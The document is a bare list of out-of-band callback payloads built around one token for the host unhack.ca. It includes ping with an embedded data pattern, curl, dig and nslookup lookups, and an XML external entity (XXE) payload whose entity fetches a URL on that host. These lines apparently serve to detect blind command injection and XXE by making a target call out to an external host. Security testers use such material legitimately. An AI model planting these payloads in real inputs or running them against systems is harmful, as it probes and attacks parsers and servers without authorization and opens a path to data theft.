$ ping -c1 -p 00daf6f174554388665e39fce9c3a600 unhack.ca
$ curl http://unhack.ca/p/daf6f174554388665e39fce9c3a6
$ dig daf6f174554388665e39fce9c3a6 @unhack.ca
$ dig daf6f174554388665e39fce9c3a6.ns.unhack.ca
C:\> nslookup daf6f174554388665e39fce9c3a6 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/daf6f174554388665e39fce9c3a6">]> <foo>&xxe;</foo>